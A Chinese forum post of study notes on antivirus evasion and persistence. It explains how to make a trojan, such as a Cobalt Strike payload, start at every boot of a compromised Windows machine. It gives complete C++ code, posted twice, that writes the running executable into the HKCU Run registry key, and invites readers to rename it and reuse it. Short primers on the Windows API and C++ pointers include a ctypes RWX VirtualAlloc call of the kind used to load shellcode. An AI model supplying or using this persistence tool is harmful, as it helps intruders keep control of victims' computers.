论坛首页 > 技术文章投稿区 > 技术文章

shanque免杀学习笔记day1——使用c++编写开机自启动权限维持工具

F0re4t · 发表于 2022-05-28 03:23:53 · 技术文章

通过注册表来开机自启动

注册表
在我们的计算机里面，有一些程序是可以设置成开机自启的，这种程序一般都是采用往注册表里面添加键值指向自己的程序路径来实现开机自启。比如cs生成的exe木马，我们让它开机自启动，然后目标机器每一次开机都会启动木马发来心跳包，以此来达到权限维持的目的。

win+r:regedit打开注册表，在如下位置能够看到当前用户开机启动项的键值

\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

以后拿到权限可以把payload写到这里。
先贴出写的代码，下面在补充用到的知识

include<stdio.h>
include<windows.h>
void main(void)
{
//根键、子键名称和到子键的句柄
HKEY hRoot = HKEY_CURRENT_USER;  根路径
char* szSubKey = (char*)"Software\\Microsoft\\Windows\\CurrentVersion\\Run";在根路径下对应的项
HKEY hKey;//打开指定子键
DWORD dwDisposition = REG_OPENED_EXISTING_KEY;
//如果不存在就创建
LONG lRet = RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if (lRet != ERROR_SUCCESS) //如果有就直接关掉这个程序
return;
//得到当前执行文件的文件名（包含路径）
char szModule[MAX_PATH];
GetModuleFileName(NULL, szModule, MAX_PATH);
//创建一个新的键值，设置键值数据为文件
lRet = RegSetValueEx(      调用的函数RegSetValueEx
hKey,
"shanque",  自己设置的键的名字，相当于图中的Wechat
0,
REG_SZ,
(BYTE*)szModule,  指针，定义一个键的名字以后去指向它，就可以自动的去获得这个键的值
strlen(szModule)需要的一个长度
);
if (lRet == ERROR_SUCCESS)
printf("shanque run success\n");
else
{
printf("failed");
}
//关闭子键句柄
RegCloseKey(hKey);
}

用到的知识补充

1.windowsAPI

概念

windows操作系统提供给应用程序的功能接口

存在方式

存放在dll文件中
dll文件—>动态链接库，里面有很多函数。比如MessageBox这个函数就存放在user.dll这个文件里。

使用方法

顺序：加载或找到dll文件->dll文件里面去找函数名字

C++

#include <windows.h>

可以调用公开的接口。

python

import ctypes
macmem = ctypes.windll.Kernel32.virtualAlloc(0,1003,0x3000,0x40)

调用过程

用户层和内核层

aaa.dll里面是没有具体执行功能的代码的(为了源代码安全和隐私)

会做一个引导

这里面的地址都会统一指向”ntdll.dll”
例子
如果直接用c++来写一个弹窗很麻烦，但是我们可以调用API接口中的MessageBox这个函数。

#include <windows.h> //调用vpi接口
int main()
{
        MessageBox(NULL,"shanque","bbb",MB_OK) ;
         return 0;         
}

2.c++函数指针

一种直接操作计算机内存的方式

#include <iostream>
using namespace std;
int main ()
{
int var = 20; // 实际变量的声明
int *ip; // 指针变量的声明
ip = &var; // 在指针变量中存储 var 的地址
cout << "Value of var variable: ";
cout << var << endl;
// 输出在指针变量中存储的地址
cout << "Address stored in ip variable: ";
cout << ip << endl;
// 访问指针中地址的值
cout << "Value of *ip variable: ";
cout << *ip << endl;
return 0;
}

最后贴上我没有写分析的代码，大家可以直接把shanque改成要自启动的名字就可以

#include<stdio.h>
#include<windows.h>
void main(void)
{
//根键、子键名称和到子键的句柄
HKEY hRoot = HKEY_CURRENT_USER;
char* szSubKey = (char*)"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hKey;//打开指定子键
DWORD dwDisposition = REG_OPENED_EXISTING_KEY;
//如果不存在就创建
LONG lRet = RegCreateKeyEx(
hRoot,
szSubKey,
0,
NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,
NULL,
&hKey,
&dwDisposition
);
if (lRet != ERROR_SUCCESS)
return;
//得到当前执行文件的文件名（包含路径）
char szModule[MAX_PATH];
GetModuleFileName(NULL, szModule, MAX_PATH);
//创建一个新的键值，设置键值数据为文件
lRet = RegSetValueEx(
hKey,
"shanque",
0,
REG_SZ,
(BYTE*)szModule,
strlen(szModule)
);
if (lRet == ERROR_SUCCESS)
printf("shanque run success\n");
else
{
printf("failed");
}
//关闭子键句柄
RegCloseKey(hKey);
}